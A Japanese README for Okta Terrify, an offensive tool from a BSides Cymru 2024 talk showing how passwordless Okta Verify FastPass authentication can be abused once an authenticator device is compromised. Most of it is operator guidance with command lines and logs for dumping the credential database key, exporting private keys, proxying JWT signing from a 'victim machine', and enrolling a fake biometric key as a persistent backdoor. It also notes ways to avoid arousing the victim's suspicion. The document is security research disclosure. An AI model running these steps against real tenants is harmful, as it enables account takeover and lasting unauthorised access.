このツールは、BSides Cymru 2024 の講演「Okta Terrify: Persistence in a Passwordless World」の一環としてリリースされました。このリポジトリには、プレゼンテーション資料とデモ ビデオが含まれています。
Okta Terrify は、認証エンドポイントが侵害された場合に、Okta Verify の FastPass やその他の FIDO2/WebAuthn タイプのソリューションなどのパスワードレス ソリューションが悪用される可能性があることを実証するツールです。 Okta Terrify は Okta 固有の攻撃を実証していますが、一般的にすべて非対称暗号化を利用しているため、同じ手法が他のパスワードレス ソリューションにも適用されます。
パスワードレス認証は、公開キーと秘密キーのペアを介して機能します。通常、オーセンティケーターの登録中に生成されるキーには、 Proof Of Possession
とUser Verification
の 2 種類があります。両方のキーを組み合わせると、組織がユーザーを保護するための継続的な取り組みの一環として努力している認証の多要素要素が満たされます。
所有証明キーはまさにそれを行うように設計されており、認証中に特定の認証者および/またはユーザーの存在を証明します。 Okta の場合、マルチユーザー シナリオではユーザーごとに一意の所有証明キーが生成されるため、所有証明キーは認証者とユーザーの両方の存在を判断するために使用されます。通常、所有証明キーはサイレント キーであり、認証された Windows ユーザー セッションなど、オペレーティング システム自体の使用を超えてロックを解除するためにいかなる形式の生体認証データも必要としません。利用可能な場合、このキーは TPM によってサポートされるため、デバイスからエクスポートすることはできません。 TPM が使用できない場合、このキーはソフトウェア専用キーとして生成されます。
ユーザー検証キーは所有の証明も提供しますが、さらに、認証が行われていることをユーザーが実際に認識していることも検証します。これは、多くの場合指紋や顔認識などの生体認証データによって実現されますが、PIN によってもバックアップされます。 Windows ベースのデバイスでは、これは通常、Windows Hello を使用して実装されます。正しい生体認証データが提供されないと、署名操作は機能しません。一部のパスワードレス ソリューションでは、両方の要素を満たすためにユーザー認証キーのみを使用します。このアプローチの欠点は、すべての署名操作にユーザーの生体認証データが必要になることです。 Okta の例では、所有証明キーは、ユーザーのパスワードなどの分離要素とともに、認証中の別個の要素として使用できます。繰り返しますが、このキーは、利用可能な場合は TPM によってサポートされ、そうでない場合はソフトウェアで生成されます。
さて、パスワードレスに関する背景はこれくらいにして、本題に入りましょう。サポートされているすべての Okta Verify デバイスに同じ概念が存在しますが、ここからは Windows バージョンの Okta Verify がどのように機能するかについて説明します。
Okta は、暗号化された SQLite データベース内に認証情報を保存します。データベースには 2 つの異なるバージョンがあり、レガシー バージョンはOVStore.db
というファイル内に保存され、カスタム XOR アルゴリズムと固定キーを介して渡される暗号化キーの基礎としてユーザー SID を使用します。新しいバージョンはDataStore.db
と呼ばれ、資格情報マネージャーに保存されるランダムな値を使用します。この資格情報は、レガシー形式と同様の XOR アルゴリズムを通じて渡されます。データベースは%LocalAppData%OktaOktaVerify
に保存されます。データベースには、デバイスの登録時に生成される所有証明とユーザー検証キーの両方に対して生成されたキー ID が含まれています。データベースには、登録されたアカウントの Okta テナント URL とともに、デバイス ID、ユーザー ID、認証システム ID などの他の有用なメタデータも含まれています。
Okta Terrify は 2 つの異なるコンポーネントに分割されています。 Okta Terrify と OktaInk。
Okta Terrify は、攻撃者のマシン上で実行されるように設計されています。このツールには、ユーザー SID と、従来のデータベース形式のデータベース ファイルと、新しい形式の場合はデータベース キーが必要です。新しい形式の場合、OktaInk を使用してデータベース キーを生成できます。 Okta Terrify には、さまざまなスイッチを通じて制御される 4 つの動作モードがあります。
--info
モードは、データベース内に含まれる情報を単純にダンプします。
レガシーデータベース
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
新しいデータベース
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
--backdoor
モードでは、Okta Terrify は、公式 Okta Verify アプリケーションが登録時に使用する OAuth クライアント ID を使用してテナント Okta URL を起動します。通常、これにより認証フローがトリガーされ、この段階では署名モードがアクティブになります。認証されたセッションが作成されると、攻撃デバイス上で新しいユーザー検証キーが生成され、偽の生体認証キーとして登録されます。キーが登録されると、ファストパスは、侵害された元の認証デバイスに依存することなく、パスワードなしの状態で動作します。
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
--sign
モードでは、Okta 認証中に、チャレンジは、抽出されたキーを使用してローカルで署名されるか、ハードウェアでサポートされたキーが存在する場合、侵害された認証システム上で実行されている OktaInk にプロキシされる可能性があります。
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
--import
モードでは、Okta Ink を使用して抽出されたソフトウェア定義の所有証明とユーザー検証キーが保存されます。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink は、侵害された認証デバイス上で実行されるように設計されています。アプリケーションは 4 種類の操作をサポートします。
新しいデータベース形式の場合、 --operation DumpDBKey
使用してDataStore.db
ファイルのデータベース キーをダンプできます。このキーは、OkaInk のパラメータとして使用できます。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Okta 認証フロー中に、存在証明またはユーザー検証キーのいずれかが利用可能であることを証明するために、チャレンジ応答 JWT が生成されます。 --operation SignDeviceBind
モードを使用すると、生成された JWT にサイレントな所有証明キーを使用して署名できます。パスワードなしの認証を実行する場合は、 -v
引数を追加してユーザー検証キーを使用して署名することもできます。警告 - ユーザー検証キーを要求する場合、被害ユーザーは生体認証を実行する必要があるため、疑惑が生じる可能性があります。
Okta Verify は、サイレント キーであるデバイス構成証明キーも登録します。このキーは、Okta テナントに対する Web API 呼び出しを介して、登録された認証デバイスに変更が加えられるときに使用されるようです。ただし、デフォルトではデバイス認証は強制されないようなので、署名は必要ありません。いずれにせよ、このモードは--operation SignDeviceAttestation
引数を介して利用できます。
TPM をサポートしていないデバイスの場合、 --operation ExportPrivate
コマンド ラインを使用して、デバイスに登録されているすべてのキーをエクスポートできます。所有証明キーはユーザーの DPAPI キーに関連付けられているため、ユーザーのパスワードを知っている必要があります。
バックドア登録プロセス中に、既存の公開キーがテナント認証データ内に保持されていることを確認する必要があります。 --operation ExportPublic
特定のキー ID に関連付けられた公開キーをエクスポートすることでこれを容易にします。
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....